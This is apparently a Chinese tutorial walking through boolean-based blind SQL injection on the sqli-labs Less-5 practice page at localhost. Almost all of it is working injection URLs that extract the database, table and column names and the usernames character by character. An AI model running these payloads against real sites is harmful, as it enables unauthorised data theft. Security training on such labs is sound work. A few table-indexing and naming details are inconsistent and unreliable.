看下圖:
直接構造出Payload:
http://127.0.0.1/sql/Less-5/index.php?id=-1' or 1=1 --+
麻煩來了,沒有爆出顯示位
來看看源碼,由源碼可以看得出來,除了一個echo "You are in ....';以外再無其他輸出。故由此得出為布爾型盲注
http://127.0.0.1/sql/Less-5/index.php?id=1' and ascii(mid(database(),1,1))>115--+ 非正常 http://127.0.0.1/sql/Less-5/index.php?id=1' and ascii(mid(database(),1,1))>116--+ 非正常 http://127.0.0.1/sql/Less-5/index.php?id=1' and ascii(mid(database(),1,1))=115--+ 正常
http://127.0.0.1/sql/less-5/index.php?id=1' and ascii(mid(database(),2,1))=101--+ 正常
http://127.0.0.1/sql/less-5/index.php?id=1' and ascii(mid(database(),3,1))=99--+ 正常
http://127.0.0.1/sql/Less-5/index.php?id=1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 1,1),1,1))=114--+ 正確 http://127.0.0.1/sql/Less-5/index.php?id=1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 1,1),2,1))=101--+ 正確
注:select下的limit是第幾個表。
substr下的是截取的表內容。
當前庫下(注入點連接的數據庫)第一個表ASCII碼為114 解碼為r
當前庫下(注入點連接的數據庫)第一個表ASCII碼為101 解碼為e
當前庫下(注入點連接的數據庫)第一個表ASCII碼為.... 解碼為...
............................................》》》推出第一個表的表明為:referer《《《.....
一下來推第二個表的內容:
http://127.0.0.1/sql/Less-5/index.php?id=1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 2,1),1,1))=117--+ 正確 http://127.0.0.1/sql/Less-5/index.php?id=1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 2,1),2,1))=97--+ 正確
當前庫下(注入點連接的數據庫)第二個表ASCII碼為117 解碼為u
當前庫下(注入點連接的數據庫)第二個表ASCII碼為97 解碼為a
當前庫下(注入點連接的數據庫)第一個表ASCII碼為.... 解碼為...
............................................》》》推出第二個表的表明為:uagents《《《.....mysql> use security; Database changed mysql> show tables; +--------------------+ | Tables_in_security | +--------------------+ | emails | | referers | | uagents | | users | +--------------------+ 4 rows in set (0.00 sec)
00x4 猜解字段
http://127.0.0.1/sql/Less-5/index.php?id=1' and ascii(substr((select column_name from information_schema.columns where table_name='users' limit 0,1),1,1))=105--+ 105的ASCII碼為:i =》該字段為:id http://127.0.0.1/sql/Less-5/index.php?id=1' and ascii(substr((select column_name from information_schema.columns where table_name='users' limit 1,1),1,1))=117--+ 117的ASCII碼為:u =>該字段為:username http://127.0.0.1/sql/Less-5/index.php?id=1' and ascii(substr((select column_name from information_schema.columns where table_name='users' limit 2,1),1,1))=112--+ 112的ASCII碼為:p =>該字段為:password
有圖可見只有三個字段,且程序是從0開始的。所以到2為止。
當為3時就報錯了。
http://127.0.0.1/sql/Less-5/index.php?id=1' and ascii(substr((select column_name from information_schema.columns where table_name='users' limit 3,1),1,1))>1--+
00x5 猜解內容
格式:httP://127.0.0.1/sql/less-5/index.php?id=1' and ascii(substr((select 字段 from 數據庫.表明 order by id limit 0,1),1,1)>ASCOO碼--+ http://127.0.0.1/sql/Less-5/index.php?id=1' and ascii(substr((select username from security.users order by id limit 0,1),1,1))>67--+正確 http://127.0.0.1/sql/Less-5/index.php?id=1' and ascii(substr((select username from security.users order by id limit 0,1),1,1))>68--+ 正確 http://127.0.0.1/sql/Less-5/index.php?id=1' and ascii(substr((select username from security.users order by id limit 0,1),1,1))=68--+ 正確 http://127.0.0.1/sql/Less-5/index.php?id=1' and ascii(substr((select username from security.users order by id limit 0,1),2,1))=117--+ http://127.0.0.1/sql/Less-5/index.php?id=1' and ascii(substr((select username from security.users order by id limit 0,1),3,1))=109--+ ..................................................................................................................................... 最終解碼后為:Dumb
格式:http://127.0.0.1/sql/Less-5/index.php?id=1' and ascii(substr((select 字段 from 數據庫.表名 order by id limit 1,1),1,1))=65 --+ http://127.0.0.1/sql/Less-5/index.php?id=1' and ascii(substr((select username from security.users order by id limit 1,1),1,1))=65--+ http://127.0.0.1/sql/Less-5/index.php?id=1' and ascii(substr((select username from security.users order by id limit 1,1),2,1))=110--+ http://127.0.0.1/sql/Less-5/index.php?id=1' and ascii(substr((select username from security.users order by id limit 1,1),3,1))=103--+ .....................................................................................................................................
最終解碼后為:Angelina
#注:上面兩個測試的是username,如果要猜解密碼,記得改一下就可以。
